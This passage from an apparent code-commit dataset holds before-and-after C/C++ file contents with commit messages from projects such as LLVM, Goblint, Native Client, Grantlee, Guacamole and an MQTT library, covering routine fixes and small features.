model.\n","lang":"C","license":"bsd-2-clause","repos":"wkoszek\/sensorama-ios,wkoszek\/sensorama-ios,wkoszek\/sensorama-ios,wkoszek\/sensorama-ios"}
{"commit":"f6392137118661add2ab7fc98be42a0c8748bb1d","old_file":"lib\/enable_execute_stack.c","new_file":"lib\/enable_execute_stack.c","old_contents":"\/\/===-- enable_execute_stack.c - Implement __enable_execute_stack ---------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include <stdint.h>\n#include <sys\/mman.h>\n\n\n\/\/\n\/\/ The compiler generates calls to __enable_execute_stack() when creating \n\/\/ trampoline functions on the stack for use with nested functions.\n\/\/ It is expected to mark the page(s) containing the address \n\/\/ and the next 48 bytes as executable.  Since the stack is normally rw-\n\/\/ that means changing the protection on those page(s) to rwx. \n\/\/\nvoid __enable_execute_stack(void* addr)\n{\n#if __APPLE__\n\t\/\/ On Darwin, pagesize is always 4096 bytes\n\tconst uintptr_t pageSize = 4096;\n#else\n        \/\/ FIXME: We should have a configure check for this.\n        const uintptr_t pagesize = getpagesize();\n#endif\n\tconst uintptr_t pageAlignMask = ~(pageSize-1);\n\tuintptr_t p = (uintptr_t)addr;\n\tunsigned char* startPage = (unsigned char*)(p & pageAlignMask);\n\tunsigned char* endPage = (unsigned char*)((p+48+pageSize) & pageAlignMask);\n\tmprotect(startPage, endPage-startPage, PROT_READ | PROT_WRITE | PROT_EXEC);\n}\n\n\n","new_contents":"\/\/===-- enable_execute_stack.c - Implement __enable_execute_stack ---------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include <stdint.h>\n#include <sys\/mman.h>\n#ifndef __APPLE__\n#include <unistd.h>\n#endif\n\n\n\/\/\n\/\/ The compiler generates calls to __enable_execute_stack() when creating \n\/\/ trampoline functions on the stack for use with nested functions.\n\/\/ It is expected to mark the page(s) containing the address \n\/\/ and the next 48 bytes as executable.  Since the stack is normally rw-\n\/\/ that means changing the protection on those page(s) to rwx. \n\/\/\nvoid __enable_execute_stack(void* addr)\n{\n#if __APPLE__\n\t\/\/ On Darwin, pagesize is always 4096 bytes\n\tconst uintptr_t pageSize = 4096;\n#else\n        \/\/ FIXME: We should have a configure check for this.\n        const uintptr_t pageSize = getpagesize();\n#endif\n\tconst uintptr_t pageAlignMask = ~(pageSize-1);\n\tuintptr_t p = (uintptr_t)addr;\n\tunsigned char* startPage = (unsigned char*)(p & pageAlignMask);\n\tunsigned char* endPage = (unsigned char*)((p+48+pageSize) & pageAlignMask);\n\tmprotect(startPage, endPage-startPage, PROT_READ | PROT_WRITE | PROT_EXEC);\n}\n\n\n","subject":"Add missing include for getpagesize, and fix a typo.","message":"Add missing include for getpagesize, and fix a typo.\n\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@74588 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"a683ed193b85656e90ca7ee54298106fa6a313e4","old_file":"tests\/regression\/36-octapron\/17-traces-rpb-litmus.c","new_file":"tests\/regression\/36-octapron\/17-traces-rpb-litmus.c","old_contents":"\/\/ SKIP PARAM: --sets ana.activated[+] octApron\n#include <pthread.h>\n#include <assert.h>\n\nint g = 42; \/\/ matches write in t_fun\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t B = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  \/\/ pthread_mutex_lock(&A);\n  \/\/ pthread_mutex_lock(&B);\n  \/\/ g = 42;\n  \/\/ pthread_mutex_unlock(&B);\n  \/\/ pthread_mutex_unlock(&A);\n  return NULL;\n}\n\nint main(void) {\n  int r, t;\n\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  pthread_mutex_lock(&A);\n  pthread_mutex_lock(&B);\n  if (r * r) {\n    g = 17;\n    pthread_mutex_unlock(&B); \/\/ publish to g#prot\n    pthread_mutex_lock(&B);\n  }\n  \/\/ locally written g is only in one branch, g == g#prot should be forgotten!\n  t = g;\n  assert(t == 17); \/\/ UNKNOWN!\n  pthread_mutex_unlock(&B);\n  pthread_mutex_unlock(&A);\n  return 0;\n}\n","new_contents":"\/\/ SKIP PARAM: --sets ana.activated[+] octApron\n#include <pthread.h>\n#include <assert.h>\n\nint g = 42; \/\/ matches write in t_fun\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t B = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  pthread_mutex_lock(&A);\n  pthread_mutex_lock(&B);\n  g = 42;\n  pthread_mutex_unlock(&B);\n  pthread_mutex_unlock(&A);\n  return NULL;\n}\n\nint main(void) {\n  int r, t;\n\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  pthread_mutex_lock(&A);\n  pthread_mutex_lock(&B);\n  if (r) {\n    g = 17;\n    pthread_mutex_unlock(&B); \/\/ publish to g#prot\n    pthread_mutex_lock(&B);\n  }\n  \/\/ locally written g is only in one branch, g == g#prot should be forgotten!\n  t = g;\n  assert(t == 17); \/\/ UNKNOWN!\n  pthread_mutex_unlock(&B);\n  pthread_mutex_unlock(&A);\n  return 0;\n}\n","subject":"Remove debugging changes from 36\/17","message":"Remove debugging changes from 36\/17\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"4e1124d7c68bc85cc6b6f1adceb63034d4bfe812","old_file":"src\/REvent.h","new_file":"src\/REvent.h","old_contents":"#ifndef __INCLUDED_6FCA43F2953F11E6AA6EA088B4D1658C\n#define __INCLUDED_6FCA43F2953F11E6AA6EA088B4D1658C\n\n#include <RTypes.h>\n\nclass REvent\n{\npublic:\n  REvent();\n\n  virtual\n  ~REvent();\n\n  void\n  accept();\n\n  void\n  ignore();\n\n  bool\n  isAccepted() const;\n\n  void\n  setAccepted(bool accepted);\n\n  virtual rcount\n  type() const;\n  static rcount\n  registerEventType();\n\nprivate:\n  bool mIsAccepted;\n};\n\n\/**\n * An easy wrapper template for generate type() method and provide auto\n * registered static type variable. So that you could focus on the\n * implementation of event class.\n *\/\ntemplate <class DerivedType, class BaseType>\nclass TypeRegisteredEvent : public BaseType\n{\npublic:\n  rcount\n  type() const\n  {\n    return sType;\n  }\n\n  static inline rcount\n  staticType()\n  {\n    return sType;\n  }\n\nprivate:\n  static const rcount sType;\n};\n\ntemplate <class DerivedType, class BaseType>\nconst rcount TypeRegisteredEvent<DerivedType,\n                                 BaseType>::sType = REvent::registerEventType();\n\n#endif \/\/ __INCLUDED_6FCA43F2953F11E6AA6EA088B4D1658C\n","new_contents":"#ifndef __INCLUDED_6FCA43F2953F11E6AA6EA088B4D1658C\n#define __INCLUDED_6FCA43F2953F11E6AA6EA088B4D1658C\n\n#include <RTypes.h>\n\nclass REvent\n{\npublic:\n  REvent();\n\n  virtual\n  ~REvent();\n\n  void\n  accept();\n\n  void\n  ignore();\n\n  bool\n  isAccepted() const;\n\n  void\n  setAccepted(bool accepted);\n\n  virtual rcount\n  type() const;\n  static rcount\n  registerEventType();\n\nprivate:\n  bool mIsAccepted;\n};\n\n\/**\n * An easy wrapper template for generate type() method and provide auto\n * registered static type variable. So that you could focus on the\n * implementation of event class.\n *\/\ntemplate <class DerivedType, class BaseType = REvent>\nclass TypeRegisteredEvent : public BaseType\n{\npublic:\n  \/\/ Inherit all constructors\n  template <class ... ParamTypes>\n  TypeRegisteredEvent(ParamTypes ... params)\n    : BaseType(params ...)\n  {\n  }\n\n  rcount\n  type() const\n  {\n    return sType;\n  }\n\n  static inline rcount\n  staticType()\n  {\n    return sType;\n  }\n\nprivate:\n  static const rcount sType;\n};\n\ntemplate <class DerivedType, class BaseType>\nconst rcount TypeRegisteredEvent<DerivedType,\n                                 BaseType>::sType = REvent::registerEventType();\n\n#endif \/\/ __INCLUDED_6FCA43F2953F11E6AA6EA088B4D1658C\n","subject":"Support inhert constructors from BaseType","message":"Support inhert constructors from BaseType\n","lang":"C","license":"mit","repos":"starofrainnight\/ArduinoRabirdTookit,starofrainnight\/ArduinoRabirdToolkit,starofrainnight\/ArduinoRabirdToolkit"}
{"commit":"6f24c8ade6012005ceb41b4a2cc70a021d7f1d64","old_file":"src\/trusted\/service_runtime\/linux\/arm\/sel_segments.c","new_file":"src\/trusted\/service_runtime\/linux\/arm\/sel_segments.c","old_contents":"\/*\n * Copyright (c) 2012 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <stdint.h>\n#include \"native_client\/src\/trusted\/service_runtime\/sel_util.h\"\n\nuint32_t NaClGetStackPtr(void) {\n  uint32_t sp;\n\n  asm(\"mov %0, %%sp\" : \"=r\" (sp));\n\n  return sp;\n}\n","new_contents":"\/*\n * Copyright (c) 2012 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <stdint.h>\n#include \"native_client\/src\/trusted\/service_runtime\/sel_util.h\"\n\nuint32_t NaClGetStackPtr(void) {\n  uint32_t sp;\n\n  asm(\"mov %0, sp\" : \"=r\" (sp));\n\n  return sp;\n}\n","subject":"Make sel build with clang's built-in assembler.","message":"arm: Make sel build with clang's built-in assembler.\n\nclang's integrated assembler only supports UAL, where sp is spelled\nsp and not %sp. Fixes the following error when building with clang's\nintegrated assembler enabled:\n\n..\/..\/native_client\/src\/trusted\/service_runtime\/linux\/arm\/sel_segments.c:13:7: error: unexpected token in operand\n  asm(\"mov %0, %%sp\" : \"=r\" (sp));\n      ^\n<inline asm>:1:10: note: instantiated into assembly here\n        mov r0, %sp\n                ^\n1 error generated.\n\nBUG=chromium:124610\n\nReview URL: https:\/\/codereview.chromium.org\/1485143002\n","lang":"C","license":"bsd-3-clause","repos":"sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client"}
{"commit":"0f00cf915c8c590d1b00e89ac5e883fe3bfd1213","old_file":"main.c","new_file":"main.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include \"src\/headers.h\"\n\nint main()\n{\n    char* taskfilepath = \"D:\\\\zz_exp\\\\testinggrounds\\\\tasks.txt\";\n    task_list* list = gettasks(taskfilepath);\n\n    task_list* traveller = list;\n    while ( traveller != NULL ) {\n        task_t* task = traveller -> task;\n        result_t* result = deliver(task);\n        printf(\"MESSAGE: %s\\n\", result -> message);\n        traveller = traveller -> next;\n    }\n\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include \"src\/headers.h\"\n\nint main(int argc, char** argv)\n{\n    for ( int x = 0; x < argc; x++ ) {\n        char* taskfilepath = argv[x];\n        task_list* list = gettasks(taskfilepath);\n\n        task_list* traveller = list;\n        while ( traveller != NULL ) {\n            task_t* task = traveller -> task;\n            result_t* result = deliver(task);\n            printf(\"MESSAGE: %s\\n\", result -> message);\n            traveller = traveller -> next;\n        }\n    }\n    return 0;\n}\n","subject":"Allow user to indicate filepaths of taskfiles","message":"v2.0.1: Allow user to indicate filepaths of taskfiles\n\nUser can now usee multiple taskfiles and specify via arguments the\nlocation of taskfiles to be used\n","lang":"C","license":"mit","repos":"DanerJimenez\/File-Delivery-Truck"}
{"commit":"ab1766cc27f548384b400de3b2417c598da3b503","old_file":"src\/hello_zproto_selftest.c","new_file":"src\/hello_zproto_selftest.c","old_contents":"\/*  =========================================================================\n    hello_zproto_selftest - run self tests\n\n    Permission is hereby granted, free of charge, to any person obtaining\n    a copy of this software and associated documentation files (the\n    \"Software\"), to deal in the Software without restriction, including\n    without limitation the rights to use, copy, modify, merge, publish,\n    distribute, sublicense, and\/or sell copies of the Software, and to\n    permit persons to whom the Software is furnished to do so, subject to\n    the following conditions:\n\n    The above copyright notice and this permission notice shall be included\n    in all copies or substantial portions of the Software.\n\n    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n    OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n    IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n    CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n    TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n    SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n    =========================================================================\n*\/\n\n#include \"..\/include\/hello_zproto.h\"\n\nint main (int argc, char *argv [])\n{\n    bool verbose;\n    if (argc == 2 && streq (argv [1], \"-v\"))\n        verbose = true;\n    else\n        verbose = false;\n\n    printf (\"Running self tests...\\n\");\n    hello_zproto_msg_test (verbose);\n    citizen_msg_test (verbose);\n    printf (\"Tests passed OK\\n\");\n    return 0;\n}\n","new_contents":"\/*  =========================================================================\n    hello_zproto_selftest - run self tests\n\n    Permission is hereby granted, free of charge, to any person obtaining\n    a copy of this software and associated documentation files (the\n    \"Software\"), to deal in the Software without restriction, including\n    without limitation the rights to use, copy, modify, merge, publish,\n    distribute, sublicense, and\/or sell copies of the Software, and to\n    permit persons to whom the Software is furnished to do so, subject to\n    the following conditions:\n\n    The above copyright notice and this permission notice shall be included\n    in all copies or substantial portions of the Software.\n\n    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n    OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n    IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n    CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n    TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n    SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n    =========================================================================\n*\/\n\n#include \"..\/include\/hello_zproto.h\"\n\nint main (int argc, char *argv [])\n{\n    bool verbose;\n    if (argc == 2 && streq (argv [1], \"-v\"))\n        verbose = true;\n    else\n        verbose = false;\n\n    printf (\"Running self tests...\\n\");\n    hello_zproto_msg_test (verbose);\n    citizen_msg_test (verbose);\n    citizen_server_test (verbose);\n    printf (\"Tests passed OK\\n\");\n    return 0;\n}\n","subject":"Add citizen_server self test to overall self test","message":"Add citizen_server self test to overall self test\n","lang":"C","license":"mit","repos":"jemc\/hello_zproto,jemc\/hello_zproto,jemc\/hello_zproto,jemc\/hello_zproto"}
{"commit":"18cee717a922876b67f94000db165a875033fb9e","old_file":"mudlib\/mud\/home\/Text\/sys\/verb\/wiz\/ooc\/system\/borphans.c","new_file":"mudlib\/mud\/home\/Text\/sys\/verb\/wiz\/ooc\/system\/borphans.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths.h>\n#include <text\/paths.h>\n\ninherit LIB_RAWVERB;\n\nvoid main(object actor, string args)\n{\n\tobject user;\n\n\tuser = query_user();\n\n\tif (user->query_class() < 3) {\n\t\tsend_out(\"You do not have sufficient access rights to check for bigstruct orphans.\\n\");\n\t\treturn;\n\t}\n\n\t\"~Bigstruct\/sys\/bigstructd\"->find_orphaned_nodes();\n\t\"~Bigstruct\/sys\/bigstructd\"->find_orphaned_roots();\n}\n","subject":"Add command to clean up orphaned bigstruct objects","message":"Add command to clean up orphaned bigstruct objects\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"7b4b64768e913c527b4011fd8423037051e8b2b3","old_file":"src\/ufrn_bti_itp\/recursividade_e_modularizacao\/q6_achar_menor.c","new_file":"src\/ufrn_bti_itp\/recursividade_e_modularizacao\/q6_achar_menor.c","old_contents":"","new_contents":"#include <stdio.h>\n\n\nint _findLower(int *vector, int lastIndex, int lowerUntilNow){\n\t\tif (lastIndex == 0) {\n\t\treturn lowerUntilNow;\n\t} else{\n\t\tint current = vector[--lastIndex];\n\t\tlowerUntilNow = (lowerUntilNow < current) ? lowerUntilNow : current;\n\t\treturn _findLower(vector, lastIndex, lowerUntilNow);\n\t}\n}\n\nint findLower(int *vector, int size){\n\tint lastValue = vector[size-1];\n\treturn _findLower(vector, size, lastValue);\n}\n\nint main(){\n\tint vector[] = {10, 5, 2, -9, 8, 4, 9};\n\tprintf(\"%d\\n\", findLower(vector, 7));\n\treturn 0;\n}\n","subject":"Create q6: lower by recursion","message":"Create q6: lower by recursion\n","lang":"C","license":"unknown","repos":"Mazuh\/Algs,Mazuh\/MISC-Algs,Mazuh\/MISC-Algs,Mazuh\/Algs,Mazuh\/MISC-Algs,Mazuh\/Algs,Mazuh\/Algs,Mazuh\/Algs,Mazuh\/MISC-Algs"}
{"commit":"d786eea17f6d55643ba7df12859d1e60e0c6cb39","old_file":"textdocument\/lib\/grantlee_gui_export.h","new_file":"textdocument\/lib\/grantlee_gui_export.h","old_contents":"\/*\n  This file is part of the Grantlee template system.\n\n  Copyright (c) 2010 Stephen Kelly <steveire@gmail.com>\n\n  This library is free software; you can redistribute it and\/or\n  modify it under the terms of the GNU Lesser General Public\n  License version 3 only, as published by the Free Software Foundation.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Lesser General Public License version 3 for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with this library.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n#ifndef GRANTLEE_GUI_EXPORT_H\n#define GRANTLEE_GUI_EXPORT_H\n\n#if defined(_WIN32) || defined(_WIN64)\n#  ifndef GRANTLEE_GUI_EXPORT\n#    if defined(GRANTLEE_GUI_LIB_MAKEDLL)\n#      define GRANTLEE_GUI_EXPORT __declspec(dllexport)\n#    else\n#      define GRANTLEE_GUI_EXPORT __declspec(dllimport)\n#    endif\n#  endif\n#else\n#  define GRANTLEE_GUI_EXPORT __attribute__((visibility(\"default\")))\n#endif\n\n#endif\n\n","new_contents":"\/*\n  This file is part of the Grantlee template system.\n\n  Copyright (c) 2010 Stephen Kelly <steveire@gmail.com>\n\n  This library is free software; you can redistribute it and\/or\n  modify it under the terms of the GNU Lesser General Public\n  License as published by the Free Software Foundation; either version\n  2.1 of the Licence, or (at your option) any later version.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Lesser General Public License for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with this library.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n#ifndef GRANTLEE_GUI_EXPORT_H\n#define GRANTLEE_GUI_EXPORT_H\n\n#if defined(_WIN32) || defined(_WIN64)\n#  ifndef GRANTLEE_GUI_EXPORT\n#    if defined(GRANTLEE_GUI_LIB_MAKEDLL)\n#      define GRANTLEE_GUI_EXPORT __declspec(dllexport)\n#    else\n#      define GRANTLEE_GUI_EXPORT __declspec(dllimport)\n#    endif\n#  endif\n#else\n#  define GRANTLEE_GUI_EXPORT __attribute__((visibility(\"default\")))\n#endif\n\n#endif\n\n","subject":"Fix license header in the export header.","message":"Fix license header in the export header.\n","lang":"C","license":"lgpl-2.1","repos":"simonwagner\/grantlee,simonwagner\/grantlee,cutelyst\/grantlee,cutelyst\/grantlee,simonwagner\/grantlee,simonwagner\/grantlee,simonwagner\/grantlee,simonwagner\/grantlee,cutelyst\/grantlee,cutelyst\/grantlee,cutelyst\/grantlee"}
{"commit":"0c5c3b93d8b9b1821c3e128c731ff7788eaf1238","old_file":"lib\/Target\/R600\/MCTargetDesc\/AMDGPUMCCodeEmitter.h","new_file":"lib\/Target\/R600\/MCTargetDesc\/AMDGPUMCCodeEmitter.h","old_contents":"\/\/===-- AMDGPUCodeEmitter.h - AMDGPU Code Emitter interface -----------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/\/ \\file\n\/\/\/ \\brief CodeEmitter interface for R600 and SI codegen.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef AMDGPUCODEEMITTER_H\n#define AMDGPUCODEEMITTER_H\n\n#include \"llvm\/MC\/MCCodeEmitter.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n\nnamespace llvm {\n\nclass MCInst;\nclass MCOperand;\nclass MCSubtargetInfo;\n\nclass AMDGPUMCCodeEmitter : public MCCodeEmitter {\n  virtual void anchor();\npublic:\n\n  uint64_t getBinaryCodeForInstr(const MCInst &MI,\n                                 SmallVectorImpl<MCFixup> &Fixups,\n                                 const MCSubtargetInfo &STI) const;\n\n  virtual uint64_t getMachineOpValue(const MCInst &MI, const MCOperand &MO,\n                                     SmallVectorImpl<MCFixup> &Fixups,\n                                     const MCSubtargetInfo &STI) const {\n    return 0;\n  }\n};\n\n} \/\/ End namespace llvm\n\n#endif \/\/ AMDGPUCODEEMITTER_H\n","new_contents":"\/\/===-- AMDGPUCodeEmitter.h - AMDGPU Code Emitter interface -----*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/\/ \\file\n\/\/\/ \\brief CodeEmitter interface for R600 and SI codegen.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef AMDGPUCODEEMITTER_H\n#define AMDGPUCODEEMITTER_H\n\n#include \"llvm\/MC\/MCCodeEmitter.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n\nnamespace llvm {\n\nclass MCInst;\nclass MCOperand;\nclass MCSubtargetInfo;\n\nclass AMDGPUMCCodeEmitter : public MCCodeEmitter {\n  virtual void anchor();\npublic:\n\n  uint64_t getBinaryCodeForInstr(const MCInst &MI,\n                                 SmallVectorImpl<MCFixup> &Fixups,\n                                 const MCSubtargetInfo &STI) const;\n\n  virtual uint64_t getMachineOpValue(const MCInst &MI, const MCOperand &MO,\n                                     SmallVectorImpl<MCFixup> &Fixups,\n                                     const MCSubtargetInfo &STI) const {\n    return 0;\n  }\n};\n\n} \/\/ End namespace llvm\n\n#endif \/\/ AMDGPUCODEEMITTER_H\n","subject":"Fix missing C++ mode comment","message":"Fix missing C++ mode comment\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@203133 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm"}
{"commit":"f1d4393eb8cedeec0214c497c73a528806ae2118","old_file":"src\/protocols\/rdp\/compat\/winpr-stream.c","new_file":"src\/protocols\/rdp\/compat\/winpr-stream.c","old_contents":"\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n#include \"config.h\"\n\n#include \"winpr-stream.h\"\n#include \"winpr-wtypes.h\"\n\n\/*\n * NOTE: Because the old API did not support local allocation of the buffer\n *       for each stream, these compatibility implementations ignore\n *       the parameters of Stream_New() and Stream_Free() that provide them.\n *\/\n\nwStream* Stream_New(BYTE* buffer, size_t size) {\n    return stream_new(size);\n}\n\nvoid Stream_Free(wStream* s, BOOL bFreeBuffer) {\n    stream_free(s);\n}\n\n","new_contents":"\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n#include \"config.h\"\n\n#include \"winpr-stream.h\"\n#include \"winpr-wtypes.h\"\n\nwStream* Stream_New(BYTE* buffer, size_t size) {\n\n    \/* If no buffer is provided, allocate a new stream of the given size *\/\n    if (buffer == NULL)\n       return stream_new(size);\n\n    \/* Otherwise allocate an empty stream and assign the given buffer *\/\n    wStream* stream = stream_new(0);\n    stream_attach(stream, buffer, size);\n    return stream;\n\n}\n\nvoid Stream_Free(wStream* s, BOOL bFreeBuffer) {\n\n    \/* Disassociate buffer if it will be freed externally *\/\n    if (!bFreeBuffer)\n        stream_detach(s);\n\n    stream_free(s);\n\n}\n\n","subject":"Implement buffer attachment in Stream_New() and Stream_Free() compatibility functions.","message":"GUACAMOLE-25: Implement buffer attachment in Stream_New() and Stream_Free() compatibility functions.\n","lang":"C","license":"apache-2.0","repos":"mike-jumper\/incubator-guacamole-server,apache\/guacamole-server,mike-jumper\/incubator-guacamole-server,mike-jumper\/incubator-guacamole-server,glyptodon\/guacamole-server,apache\/guacamole-server,glyptodon\/guacamole-server,glyptodon\/guacamole-server,mike-jumper\/incubator-guacamole-server,apache\/guacamole-server"}
{"commit":"5d55abcfb068c87366329eae8f0502781145b57d","old_file":"library\/context.c","new_file":"library\/context.c","old_contents":"#include <stdlib.h>\n\n#include <mqtt3.h>\n\nmqtt3_context *mqtt3_context_init(int sock)\n{\n\tmqtt3_context *context;\n\n\tcontext = malloc(sizeof(mqtt3_context));\n\tif(!context) return NULL;\n\t\n\tcontext->next = NULL;\n\tcontext->sock = sock;\n\tcontext->last_msg_in = time(NULL);\n\tcontext->last_msg_out = time(NULL);\n\tcontext->keepalive = 60; \/* Default to 60s *\/\n\tcontext->last_mid = 0;\n\tcontext->id = NULL;\n\tcontext->messages = NULL;\n\n\treturn context;\n}\n\nvoid mqtt3_context_cleanup(mqtt3_context *context)\n{\n\tif(!context) return;\n\n\tif(context->sock != -1){\n\t\tmqtt3_socket_close(context);\n\t}\n\tif(context->id) free(context->id);\n\t\/* FIXME - clean messages and subscriptions *\/\n\tfree(context);\n}\n\n\n","new_contents":"#include <stdlib.h>\n\n#include <mqtt3.h>\n\nmqtt3_context *mqtt3_context_init(int sock)\n{\n\tmqtt3_context *context;\n\n\tcontext = malloc(sizeof(mqtt3_context));\n\tif(!context) return NULL;\n\t\n\tcontext->next = NULL;\n\tcontext->sock = sock;\n\tcontext->last_msg_in = time(NULL);\n\tcontext->last_msg_out = time(NULL);\n\tcontext->keepalive = 60; \/* Default to 60s *\/\n\tcontext->last_mid = 0;\n\tcontext->id = NULL;\n\tcontext->messages = NULL;\n\n\treturn context;\n}\n\nvoid 